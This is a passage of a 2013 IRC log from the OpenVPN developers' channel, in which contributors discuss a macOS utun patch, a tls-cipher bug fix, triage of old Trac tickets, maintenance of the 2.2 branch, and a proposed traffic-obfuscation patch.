cron2: nah more like completly inverwoven with the multi server stuff and with unhelpful method names 06:56 <@cron2> ouch 11:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:59 <@plaisthos> VmWare Fusion 5 and tun.ko don't like each other .... 13:59 <@plaisthos> Expect a utun patch in the next few days :D 14:30 <@cron2> huh? 14:30 <@cron2> that's "tun.ko on the same host that runs vmware fusion"? 14:30 <@cron2> why? 15:30 <@plaisthos> no idea 15:31 <@cron2> so what's happening? 15:31 <@plaisthos> if tun.ko is loaded the vmware network kernel module does not load anymore and vice versa 15:31 <@cron2> "not load", mmh, interesting, for a purely virtual device :-) 15:43 <@plaisthos> cron2: anyway. I found a solution 15:50 <@plaisthos> patch is sent to mailing list 16:10 <@plaisthos> tested with os x 10.7 and 10.8 :) --- Log closed Sun Mar 31 21:24:17 2013 --- Log opened Mon Apr 01 14:16:20 2013 14:16 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 14:16 -!- Irssi: #openvpn-devel: Total of 20 nicks [8 ops, 0 halfops, 3 voices, 9 normal] 14:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:16 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 15:19 <@cron2> *grumble* right in the middle of writing a mail, one of the disks in my in-house server died, and for whatever reason, it's not throwing it out of the raid set, but just hangs... gah... 15:28 <@cron2> of course that's the one hat holds 15:28 <@cron2> my openvpn git repo as well (with the keys to access sf/github)... 15:29 <@cron2> yes, I have backups, but I have no *time* to fight icky hardware this week 19:50 -!- raidz is now known as raidz_away --- Day changed Tue Apr 02 2013 02:02 -!- mattock_afk is now known as mattock 03:30 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 264 seconds] 03:34 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 03:51 <@plaisthos> cron2: not sure about only utun. I think if you give a 10.6 the net/if_utun.h it will happely compile with utun (has to be tested but could still work) you have binary that works on all os x versions 03:52 <@cron2> I see your point, especially given Jonathan's comment on their building environment (10.6)... 03:54 <@plaisthos> if 10.6 (latest ppc) has if/net_utun.h then dropping normal tun support should be fine 03:55 <@plaisthos> I will try to get the make check working this evening and see if all tests pass 03:56 <@cron2> how do I find out which OSX version I have, if all I have is a ssh session there? "uname" says "Darwin 9.8.0" 04:02 <@plaisthos> hm 04:02 <@plaisthos> http://en.wikipedia.org/wiki/Darwin_kernel 04:02 <@vpnHelper> Title: Darwin (operating system) - Wikipedia, the free encyclopedia (at en.wikipedia.org) 04:02 <@plaisthos> Leopard 04:02 <@plaisthos> i.e. 10.5.8 04:04 <@cron2> ah, cool 04:05 <@cron2> so that's my build-and-test box ($wife's mac mini). Eventually it will go away... 04:07 <@plaisthos> is that a ppc or intel box? 04:07 <@cron2> one of the earlier intel mac minis 04:08 <@plaisthos> with the original OS still on it :) 04:09 <@cron2> nah, we got an upgrade at some time, but I can't remember from where to where, might have been 10.4->10.5, or 10.3->10.5 04:09 <@cron2> or it was 10.3->10.5 on the PowerBook we retired this year :) 04:11 * cron2 lost track - we had two kids in the meantime, which needed more attention than keeping track of OSX releases :) 04:11 <@plaisthos> :) 04:17 <@plaisthos> grrr. Vmware Fusion refuses to boot 10.6 04:17 <@plaisthos> you have to have 10.6 server to boot it into a vmware 04:29 <@plaisthos> more interesting question is: where the hell do I get Xcode 3.2.2? 04:41 <@mattock> and old version? 04:41 <@mattock> _an_ old version 04:41 <@mattock> ? 04:43 <@plaisthos> mattock: yeah. See ML. The Tunnelblick OpenVPN versions are build with 10.6/Xcode 3.2.2 04:43 <@plaisthos> And I want to check if my patch works on 10.6/3.2.2 as well 05:02 <@mattock> plaisthos: old xcode version _are_ available, but fairly hard to find 05:02 <@mattock> I had to find the Xcode for Tiger a few years back, and it was difficult 05:02 <@mattock> can't remember the details, though 05:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 05:34 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:34 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:01 <@plaisthos> mattock: I found it 06:48 <@plaisthos> :( 06:48 <@plaisthos> os x 10.6.8 has no utun 07:53 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn-devel 07:54 < MacGyver> I understand that patches should be sent to the devel-mailinglist from a git format-patch? 07:54 < MacGyver> github pull requests are a no-go? 07:55 < MacGyver> !git 07:55 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, relax: 07:55 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 07:56 < MacGyver> And that... is outdated, right? 07:56 < MacGyver> Development tree is master on github? 07:57 <@cron2> MacGyver: sourceforge is fine 07:57 <@cron2> github and sf are kept in sync 07:57 < MacGyver> Github is easier, tbh. 07:57 <@cron2> and yes, please send format-patch 07:57 < MacGyver> Okay. 07:58 * cron2 finds github slow, but for push requests, it doesn't really matter 07:58 < MacGyver> I meant easier for me, in the current situation. 08:01 < MacGyver> Also, I have to be signed in to TRAC to file a bug? 08:02 <@cron2> likely, mattock will know 08:03 <@ecrist> yes 08:04 <@ecrist> MacGyver: blame the spammers 08:04 < MacGyver> Yeah, well, obviously. Just wondering if I was somehow not seeing the "report"-button. 08:30 < MacGyver> Okay, that's the bug. 08:30 < MacGyver> Now the patch. 08:30 < MacGyver> plaisthos: Ah, so you're going to handle it? 08:31 <@vpnHelper> RSS Update - tickets: #276: Segmentation fault if signal received during address resolution <https://community.openvpn.net/openvpn/ticket/276> 08:35 < MacGyver> plaisthos: In that case, it looks to me as though there's something weird going on with the signal handling at that point. 08:35 < MacGyver> Aside from this bug. 08:37 < MacGyver> The case where signal_received is set to SIGUSR1 based on the return status. Maybe that's how it's supposed to work, but it looks weird to me. 08:38 <@cron2> "it looks weird to me" describes large parts of the OpenVPN source very well :-) 08:38 <@plaisthos> yeah :) 08:39 <@plaisthos> USR1 is also thrown for "there is a problem connecting" 08:39 <@plaisthos> interesting 08:39 <@plaisthos> Xcode 3.2.6 has net/if_utun.h 08:40 <@cron2> so xcode 3.2.6 on 10.6 would make opvnpn compile with utun, but it would need 10.7 to actually use it? 08:40 <@plaisthos> cron2: not sure yet 08:40 <@plaisthos> xcode 3.2.2 did not have net/if_utun.h 08:41 <@plaisthos> it really works 08:42 <@cron2> cool 08:42 <@cron2> now the question remains tun first, utun second, or vice versa, if the user just requests "dev tun"? 08:43 <@plaisthos> cron2: or dropping regular tun alltogether and support for mac os x <= 10.6.8 08:43 <@cron2> plaisthos: does 10.6 have utun already? I thought it appeared in 10.7? 08:43 <@cron2> and 10.6 is also available on PowerPC (just to get this right)? 08:44 <@plaisthos> cron2: seem to be added in later 10.6.x releases 08:44 <@plaisthos> cron2: yes 08:44 <@plaisthos> 10.6 is the latest ppc compatible version 08:48 <@plaisthos> cron2: At least I suspect utun being available in later OS 10.6.x only otherwise it would be strange to ship if_utun.h only with later Xcode versions. 08:49 <@plaisthos> utun still have the disadvantage of being root only though 08:59 < MacGyver> Hmm. 09:00 < MacGyver> plaisthos: Since we're on about those lines of code anyway. 09:00 < MacGyver> The actual copy that happens there. 09:00 < MacGyver> i.e. sock->info.lsa->remote.addr.in6 = *((struct sockaddr_in6*)(ai->ai_addr)); 09:01 < MacGyver> Now, ai_addr is supposed to point to a struct sockaddr, which is, according to my debugger, a 16-byte struct. 09:02 <@cron2> your debugger is lying 09:02 < MacGyver> But it's cast to a 28-byte struct pointer (sockaddr_in6*) and then dereferenced. 09:02 <@cron2> struct sockaddr(_storage) is a heap of pain 09:03 < MacGyver> Okay, maybe I'm doing this wrong, but: 09:03 <@plaisthos> yeah. Maybe we really a case where copying the 28 bytes instead of 16 bytes is wrong 09:04 < MacGyver> http://pastebin.com/EUYnKVUm 09:04 < MacGyver> This seems to imply that the sizes are different. 09:04 <@cron2> MacGyver: they are, but that is meaningless 09:05 < MacGyver> cron2: Okay. That's not the cause of that bug anyway, but it stood out when reading the code. 09:05 <@cron2> it's "a range of bytes" which is used as a sockaddr_in, sockaddr_in6, sockaddr_un, or whatnot, depending on the actual address used - which is why there always is a length field somewhere that tells the library functions how much memory is there 09:05 <@cron2> some platforms have sockaddr_storage, which is "the largest any of these can be", but that's non-portable again... 09:06 <@cron2> 16:02 <@cron2> struct sockaddr(_storage) is a heap of pain 09:06 <@cron2> ... which doesn't mean plaisthos is wrong - it could very well be a bug 09:13 <@plaisthos> just checked. My dual stack branch does things different and should not have the bug 09:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 09:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:18 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:13 -!- raidz_away is now known as raidz 11:22 <@vpnHelper> RSS Update - tickets: #277: client-config-dir silently ignored if not readable <https://community.openvpn.net/openvpn/ticket/277> 11:55 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 11:57 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o andj] by ChanServ 18:58 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Ping timeout: 256 seconds] 20:05 -!- raidz is now known as raidz_away 21:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 23:55 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 256 seconds] --- Day changed Wed Apr 03 2013 02:07 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn-devel 02:12 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Quit: leaving] 02:14 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn-devel 04:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:42 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:27 -!- dazo is now known as dazo_afk 08:34 -!- dazo_afk is now known as dazo 08:54 -!- dazo is now known as dazo_afk 09:15 -!- dazo_afk is now known as dazo 10:09 -!- raidz_away is now known as raidz 10:35 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has quit [Read error: Operation timed out] 10:35 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 11:51 <@dazo> cron2: good job on 2.3.1 ... I even see you did the signed tagging correctly! :) 11:57 <+pekster> Is there rhyme or reason to the "default=yes|no" output in ./configure? Things like --disable-debug and --enable-small both show "default=yes", which presumably is implying that --enable-FEATURE=yes, but both of those are not defaultsl 12:00 <+pekster> Looks like configure.ac might just need some patching to bring the help output in line with what the actual defaults are 12:02 <+pekster> If I'm patching that up anyway, I'm curious if there are comments on the use of --enable vs --disable too. Is the intent that it shows you the likely ways to invert the defaults? 12:25 <@cron2> dazo: \o/ 12:25 <@cron2> dazo: foiled your plot to delay another release by going on vacation right when we're discussing the last patch to go in :-) 12:26 <@dazo> cron2: hehehe .... yeah, I was kind of surprised when I opened the mail today :) ... but happy to see everything went fine :) 12:28 <@dazo> If I only should nitpick ... your tag comment wasn't in UTF-8 but ISO-8859-1 ... but that's nitpicking .... you can probably blame your editor for that :) 12:29 <@dazo> (and it's actually "too late" to fix that ... at least without re-tagging, re-pushing which might cause some nasty comments when people fetches the git tree again ... so don't bother :)) 12:29 <@cron2> Mmmmh, vim autoconverted behind my back (because I just ":r"'ed in the "git shortlog >/tmp/bla") 12:29 <@cron2> and *that* definitely had mattock in UTF8 12:29 <@dazo> ahh 12:29 * cron2 took care not to use cut-and-paste on the (lone) Umlaut 12:29 <@dazo> yupp ... that's the only place I saw it :) 12:30 <@dazo> $ git tag -v v2.3.1 12:30 <@dazo> ... 12:30 <@dazo> ... 12:30 <@dazo> ... 12:30 <@dazo> gpg: Signature made Wed 27 Mar 2013 18:53:30 CET using RSA key ID 65514975 12:30 <@dazo> gpg: Good signature from "Gert Doering .... and so on 13:13 -!- kisom [~kisom@n186-p13.kthopen.kth.se] has quit [Remote host closed the connection] 13:16 <@mattock> regarding tags... d12fk: you bumped openvpn-gui to v3, but didn't add a tag yet :) 13:43 -!- dazo is now known as dazo_afk 17:20 <@plaisthos> d12fk: there is some fallout from remote-tls http://code.google.com/p/ics-openvpn/issues/detail?id=155 17:20 <@vpnHelper> Title: Issue 155 - ics-openvpn - Cannot connect after 0.5.36a upgrade - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 17:20 <@plaisthos> not yet sure if it is my fault, the user faults and the patch (aka your) fault 19:33 -!- raidz is now known as raidz_away 23:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 23:15 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:15 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 23:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 23:16 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 23:16 -!- krzie is now known as krzee --- Day changed Thu Apr 04 2013 02:21 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:21 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 02:42 <@plaisthos> syzzer: and now for you: P:No valid translation found for TLS cipher 'TLSv1' P:No valid translation found for TLS cipher '!ADH:!SSLv2:!NULL:!EXPORT:!DES:!LOW:!MEDIUM:@STRENGTH' MGMT:Got unrecognized command>FATAL:Failed to set restricted TLS cipher list, too long (>4095). (OpenSSL) 02:46 < syzzer> plaisthos: that's the full tls-cipher string from the config file? 02:47 <@plaisthos> syzzer: not sure yet 02:47 <@plaisthos> syzzer: I only got the log in the user report. I am asking for the generated configuration 02:48 < syzzer> okay, just forward it to me, I'll have a look at it 02:50 <@plaisthos> syzzer: just wanted to give a heads up 02:50 < syzzer> yup, thanks :) 02:50 <@plaisthos> .oO(IpVanish, more stupid vpn provider names ...) 02:52 <@plaisthos> syzzer: found a configuration file on the providers site: apearently they are using tls-cipher DHE-RSA-AES256-SHA:DHC-DSS-AES256-SHA:AES356-SHA 02:52 <@plaisthos> syzzer: should I foward you the logfile? 02:52 <@plaisthos> syzzer: http://www.ipvanish.com/software/configs/ipvanish-US-New%20York%20City-nyc-a01.ovpn 02:52 <@plaisthos> AES356-SHA :) 02:52 < syzzer> plaisthos: yes, please 02:53 < syzzer> yeah, brand-new I guess ;)( 02:53 <@plaisthos> syzzer: email address? 02:53 < syzzer> steffan.karger@fox-it.com 02:57 < syzzer> ah, I think I have a clue on what's happening, will try to free some time for this later today :) 02:58 <@plaisthos> syzzer: cool thanks 03:03 <@mattock> time to look into Trac tickets... 03:03 -!- dazo_afk is now known as dazo 03:36 <@mattock> has this bug been fixed? https://community.openvpn.net/openvpn/ticket/259 03:36 <@vpnHelper> Title: #259 (received corrupted data from proxy server) – OpenVPN Community (at community.openvpn.net) 03:50 <@plaisthos> mattock: should see cron2's comment 03:50 <@mattock> plaisthos: I did, and wasn't sure if the bug was fixed, or not :) 03:51 <@mattock> i.e. the reporter has not tested, but it _should_ be fixed 04:16 <@mattock> we have tons of very old (2.1-rc*) bug reports in Trac 04:16 <@mattock> I've asked people to reproduce them, but if nothing new comes up in a month or two, I'd say close them 04:21 <@cron2_> mattock: thanks 04:24 <@mattock> still have quite a few to skim through, will continue after lunch 09:48 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 09:49 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:49 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:39 -!- raidz_away is now known as raidz 12:00 -!- novaflash is now known as novaflash_away 12:00 -!- novaflash_away is now known as novaflash 12:28 -!- dazo is now known as dazo_afk 13:48 < syzzer> plaisthos: I've found the problem with the tls-cipher translation en prepared a patch 13:50 < syzzer> apparently I introduced a bug while cleaning up the code before sending out my previous patches :/ 15:58 -!- mattock is now known as mattock_afk 16:01 -!- raidz is now known as raidz_away 18:26 -!- raidz_away is now known as raidz 19:47 -!- raidz is now known as raidz_away --- Day changed Fri Apr 05 2013 02:29 <@plaisthos> syzzer: your patch seem have worked 02:36 < syzzer> ah, great, thanks for the feedback/testing! 03:09 <@plaisthos> syzzer: thank the mindless always Android drones :D 03:11 * cron2_ looks at the patch and is annoyed "I *did* look at this (in the context of the MIN() fix) and could have spotted it" 03:11 < syzzer> hehe, yeah, you've got a really nice testing crowd out here ;) 03:11 < syzzer> *there 03:12 <@cron2_> seems we'll have a couple of more versions in the 2.3.x series :) 03:12 < syzzer> sorry :( 03:13 <@cron2_> oh, I'm not sure this is a bad thing - "release early, release often" 03:15 -!- mattock_afk is now known as mattock 03:15 < syzzer> btw, while looking at the output of a number of logs, maybe the 03:16 <@cron2_> now *mattock* might disagree with me here... releases are much more work for him than for me 03:16 < syzzer> 'translation not found' message is a bit verbose 03:16 <@mattock> releases are no problem, they just take some time 03:17 <@mattock> when are we pushing out 2.3.2? 03:17 <@cron2_> lol 03:18 <@cron2_> we just got one patch from syzzer (bugfix)... I think we should try to cover a few trac things in this go, and aim for "next week" 03:19 <@mattock> yep, good plan 03:26 <@plaisthos> I am also waiting for a repsone for a potential tls-remote bug http://code.google.com/p/ics-openvpn/issues/detail?id=155 03:26 <@vpnHelper> Title: Issue 155 - ics-openvpn - Cannot connect after 0.5.36a upgrade - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 03:36 -!- dazo_afk is now known as dazo 03:50 <@vpnHelper> RSS Update - testtrac: Fixed tls-cipher translation bug in openssl-build <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0bcde52f6a96a19c28e035e2c562f8a66eaa416f> 03:50 <@cron2_> boy is vpnhelper fast... I'm not even done with pushing it to all the repos 04:11 <@mattock> it seems we have quite a few bugs in Trac that might be easy to fix 04:11 <@plaisthos> like? 04:12 <@mattock> some may be fixed already, e.g. 39, 41, 42 04:13 <@mattock> these might be easy, not sure: 93, 51, 131 04:14 <@mattock> ah, and 197 04:15 <@mattock> 87 also 04:16 <@mattock> I've skimmed through ~1/4 of the reports now, takes quite a lot of time 04:16 <@mattock> was able to reproduce some of them 04:16 <@mattock> to other errands now... 05:47 <@plaisthos> syzzer: another example: 05:47 <@plaisthos> tls-cipher TLSv1:!ADH:!SSLv2:!NULL:!EXPORT:!DES:!LOW:!MEDIUM:@STRENGTH 07:13 <@dazo> Just wanted to say that cron2_ is doing a marvellous job with openvpn these days! ... cron2_++ 07:14 * cron2_ eyes dazo suspciously "he wants something" 07:14 <@dazo> not at all :) 07:14 <@dazo> at least not today :-P 08:22 <@mattock> cron2: did you manage to reproduce this: https://community.openvpn.net/openvpn/ticket/141 08:22 <@vpnHelper> Title: #141 (Cannot restart openvpn more than once per boot if using persistent tunnels and IPv6 payload) – OpenVPN Community (at community.openvpn.net) 08:37 <@cron2_> mattock: thanks for reminding. I think the bug is valid, it just got lost 08:37 <@cron2_> not fully sure what to do about it 08:38 <@cron2_> ifconfig for IPv4 will happily just set the same address again, while ifconfig for ipv6 refuses to add it again, so I don't know whether it failed "because it exists already" or "because something else went wrong" 08:39 <@cron2_> any sort of work plan for today went down the drain again anyway as $wife is feeling unwell and I have to take care of the kids, so "more than 2 minutes of concentrated work" is out 08:42 <@mattock> cron2: what about this one: https://community.openvpn.net/openvpn/ticket/159 08:42 <@vpnHelper> Title: #159 (Packet Dropped over routed tunnel (always the same packet)) – OpenVPN Community (at community.openvpn.net) 08:42 <@mattock> check my comment, could be IPv6 tap-driver issue 08:43 <@mattock> probably fairly difficult to reproduce, though 08:47 <@cron2_> there was a tap driver bug in 2.2.<early> caused/made visible by the ipv6 changes. I can't remember off-head when we fixed that, though... lemme check 08:48 <@cron2_> mmmh 08:49 <@cron2_> that was for *small* IPv4 packets, but that should not affect a TCP packet 08:49 <@cron2_> weird 08:49 <@mattock> probably some weird corner-case 08:52 <@cron2_> mmmh, but these *are* all small packets, so it might well be 08:53 <@mattock> well, if there's no response in some months, we probably can close that report 08:55 <@cron2_> ack 09:00 <@mattock> this rings a bell: https://community.openvpn.net/openvpn/ticket/163#no4 09:00 <@vpnHelper> Title: #163 (Segfault in PF) – OpenVPN Community (at community.openvpn.net) 09:01 <@mattock> I wonder if we reached a conclusion regarding that one, and forgot to update the bug report 09:07 <@dazo> #163 haven't reach much of a conclusion ... we still don't understand *why* that pfs pointer to pf_cn_test() is NULL ... it shouldn't be NULL at all 09:08 <@dazo> I chatted with dennis84 on #openvpn some weeks ago ... and he and someone else was going to dig deeper into it 09:27 <@mattock> has someone look at this: https://community.openvpn.net/openvpn/ticket/201 09:27 <@vpnHelper> Title: #201 (auth-pam leaves file descriptors open) – OpenVPN Community (at community.openvpn.net) 09:28 <@mattock> the suggestion that auth-pam is the culprit should be easy to verify 09:31 <@dazo> mattock: I've not dug deep into it ... but it might be that auth-pam is leaking fds ... but it's also surprising me a little bit 09:31 <@mattock> maybe I'll send a request to openvpn-devel to test 09:32 <@dazo> mattock: okay ... just did a quick look ... the code snippet referenced shouldn't be the issue at all 09:32 <@mattock> ah, ok 09:33 <@mattock> btw. do we support 2.2 branch at all? 09:33 <@mattock> or can all 2.2-specific bugs be closed 09:34 <@dazo> I'd say 2.2 can be in maintenance mode ... if anything critical appears, we'll fix it ... otherwise, we don't plan any other/new 2.2 releases at all 09:34 <@mattock> security updates only, maybe? 09:34 <@dazo> I'll give a quick explanation on the #201 ticket ... and see if I can sneak in some time during the weekend to figure it out (but not promising anything) 09:34 <@dazo> or stability bugs 09:35 <@dazo> but when 2.4 is out ... then 2.2 is completely dead 09:35 <@mattock> building 2.2 for Windows scares me :D 09:35 <@dazo> :) 09:35 <@mattock> anyways, I'll close this one: https://community.openvpn.net/openvpn/ticket/210 09:35 <@vpnHelper> Title: #210 (openvpn-2.2.2-install.exe does not create config and log directories) – OpenVPN Community (at community.openvpn.net) 09:35 <@mattock> nobody else has complained about the same issue 09:36 <@mattock> and might even have been fixed, have to check 09:38 <@dazo> I don't recall any patches in a long time touching auth-pam, though 10:13 -!- raidz_away is now known as raidz 10:14 <@dazo> mattock: responded to #210, in case you didn't notice 10:14 <@dazo> #201, I mean 10:27 -!- haggismn [~root@haganm.plus.com] has joined #openvpn-devel 10:29 < haggismn> Hi all, I have a patch for openvpn to help Chinese and Iranian users. I've been testing it and I think it is ok to use. If anyone would like to try it out, it is located here - https://github.com/clayface/openvpn_xorpatch/blob/master/openvpn_xor.patch 10:29 <@vpnHelper> Title: openvpn_xorpatch/openvpn_xor.patch at master · clayface/openvpn_xorpatch · GitHub (at github.com) 10:40 <@dazo> haggismn: do you know about the discussion on the -devel mailing list regarding a proposed obfuscation patch? 10:41 < haggismn> i do not 10:41 < haggismn> I have not been online so much lately, ill have a look 10:42 <@dazo> haggismn: just to have that said, before I find it for you ... your approach makes more sense, to be honest ... however, Arne Schwabe (plaisthoos) have a good suggestion 10:42 * dazo finds the mail thread 10:43 <@dazo> haggismn: http://thread.gmane.org/gmane.network.openvpn.devel/7422/focus=7456 ... here's Arne's reply (this is the thread from the second attempt from the patch contributor - which I rejected for the second time) 10:43 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:45 < haggismn> Thanks for that, reading over it now 10:45 <@dazo> haggismn: but kudos for implementing a real obfuscation, not using RC4 encryption and calling it obfuscation .... however, Arne's suggestion to make this available via a plug-in interface makes a lot of sense to me - as obfuscation will need to change at some point 10:46 <@dazo> so lets implement something which doesn't require openvpn to change each time the obfuscation needs to change 10:48 <@dazo> haggismn: and another thing ... it's very good if you also provide documentation updates as well for new or changed features .... we have too many undocumented features already, so we don't want to continue deeper into that trap :) 10:49 < haggismn> yes, the main purpose initially is to the around the tls regex filtering, in a way that is probably easy to see, but pretty difficult for anyone to do anything about without a lot of work 10:50 < haggismn> alright, ill get started on some documentation, and think of a dynamic method of changing the obfuscation too. I think that would be quite difficult but let me think for a while about it. 10:50 <@dazo> haggismn: if you implement your approach as a plug-in (with the needed plug-in extensions; don't worry we can help you out understanding that) + documentation .... I'll be more than happy to review your patches and ACK them in the end 10:52 <@dazo> basically what you need is to provide a check in the "socket read/write" places ... to see if a plug-in for this feature has been added ... and send the data via a openvpn_plugin_func_v3() function 10:52 <@dazo> however, the tricky thing will be to implement this *without* adding too much overhead ... both when such a plug-in is loaded and when it is not 10:53 <@dazo> the socket read/write code paths are performance critical ... which you probably understand :) 10:56 < haggismn> yes, of course. I haven't had much of a look at using plugins, I'll read about how to implement it that way and get back to you on it 10:56 <@dazo> haggismn: great! 10:57 <@dazo> haggismn: I'm the guy behind the v3 API in OpenVPN ... so if you need some help thinking out a good solution, don't hesitate to bug me :) 11:30 <@cron2_> regarding 2.2 - I'd say "we fix security critical issues", and nothing more 11:32 -!- haggismn [~root@haganm.plus.com] has quit [Ping timeout: 246 seconds] 14:04 -!- dazo is now known as dazo_afk 14:24 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 14:37 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:09 <@plaisthos> d12fk: can you at this? http://code.google.com/p/ics-openvpn/issues/attachmentText?id=155 17:16 <+krzee> cron2_, critical security issues? 17:19 <+pekster> Should one come up, it would be worthy of back-porting into the release/2.2 branch. Generic "we fixed an edgecase" stuff, even if it's semi-broken in 2.2, wouldn't under that view. Users should upgrade to get the normal fixes and improvements, or backport individual commits and rebuild it themselves if some site *really* wants that 17:20 <+pekster> I can see being careful about point-release upgrades if you run openvpn in production, but this is what testing and internal QA is for 17:28 <@plaisthos> dazo_afk: should not be that big of a hit. http-proxy and socks proxy are basically the same 18:18 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:18 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:19 -!- Netsplit *.net <-> *.split quits: @dazo_afk, +novaflash, +krzee, Tiaos, waldner 18:19 -!- krzie is now known as krzee 20:05 -!- raidz is now known as raidz_away 20:59 -!- Tiaos [~Tiaos@ec2-54-243-138-105.compute-1.amazonaws.com] has joined #openvpn-devel 20:59 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 20:59 -!- ServerMode/#openvpn-devel [+v novaflash] by niven.freenode.net --- Day changed Sat Apr 06 2013 05:13 <@cron2_> pekster: that's sort of my point - I trust 2.3.x to be better than 2.2 already, so I'm not willing to put much maintenance effort into backporting *all* bugfixes to 2.2 (there have been a few). But should something really bad show up, we should backport it, to help those that can't "just upgrade" (distribution users, etc.) 12:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Network is unreachable] 12:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:35 <+krzee> what was the critical security issue effecting? 12:36 <+krzee> oh meh i just understood the context of that statement 12:36 <+krzee> scared me :-p 15:43 <@cron2_> sorry to disappoint you there - but if you want, we can add some security issues for you... :) 16:11 <+pekster> Debian can probably patch openvpn for you --- Day changed Sun Apr 07 2013 05:43 -!- mattock is now known as mattock_afk 06:10 <@plaisthos> pekster: debian is already is probably most patched 2.2 version out there 06:10 <@plaisthos> with ipv6 patches and so on 11:41 <+pekster> Ah, I was more poking fun at their botched openssl patch years ago 12:31 <@cron2_> don't mention "botched openssl patch"... I'm fighting building openssl 1.0.1e from the official pkgsrc sources on NetBSD/Sparc64 for a few hours now... they have adapted the pkg to "i386" and "x86-64" targets in their patch set, and omitted all the rest... 12:35 <+pekster> Just don't remove the entropy and you'll be fine ;) 13:31 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 17:12 <@plaisthos> pekster: yeah. And debian uses a openvpn version that is different to all other versions 17:13 <@plaisthos> only openvpn 2.3 pre release and alpha did report tcp6/udp6 for example but since debian uses the patch sets floating around their version will happily announce udp6 and tcp6 17:32 <+pekster> Makes me glad I run openvpn on my Debian-based boxes out of /usr/local with a custom build I guess 17:32 <+pekster> "If you want a job done right..." --- Day changed Mon Apr 08 2013 01:11 -!- madroach [t1b5pt0gsq@stgt-d9be5d25.pool.mediaWays.net] has joined #openvpn-devel 01:11 <+pekster> madroach: Status after socket.c:163? 01:12 < madroach> pekster: yep 01:12 <+pekster> I can fire up gdb with a breakpoint, give me just a few minutes to rebuild from current trunk with gdb support 01:12 < madroach> for me it is EAI_FAIL 01:13 < madroach> EAI_FAIL==-4 on OpenBSD, as you can see in the logs available at ftp://gmerlin.de/pub/openvpn/ 01:21 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 01:26 <+pekster> Yup, I get -2 on my Linux host 01:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:28 < madroach> which is EAI_NONAME ? 01:32 <+pekster> Maybe? sure would be nice if that was listed in getaddrinfo(3) :( 01:33 < madroach> it is 01:33 <+pekster> Not on this host. I guess 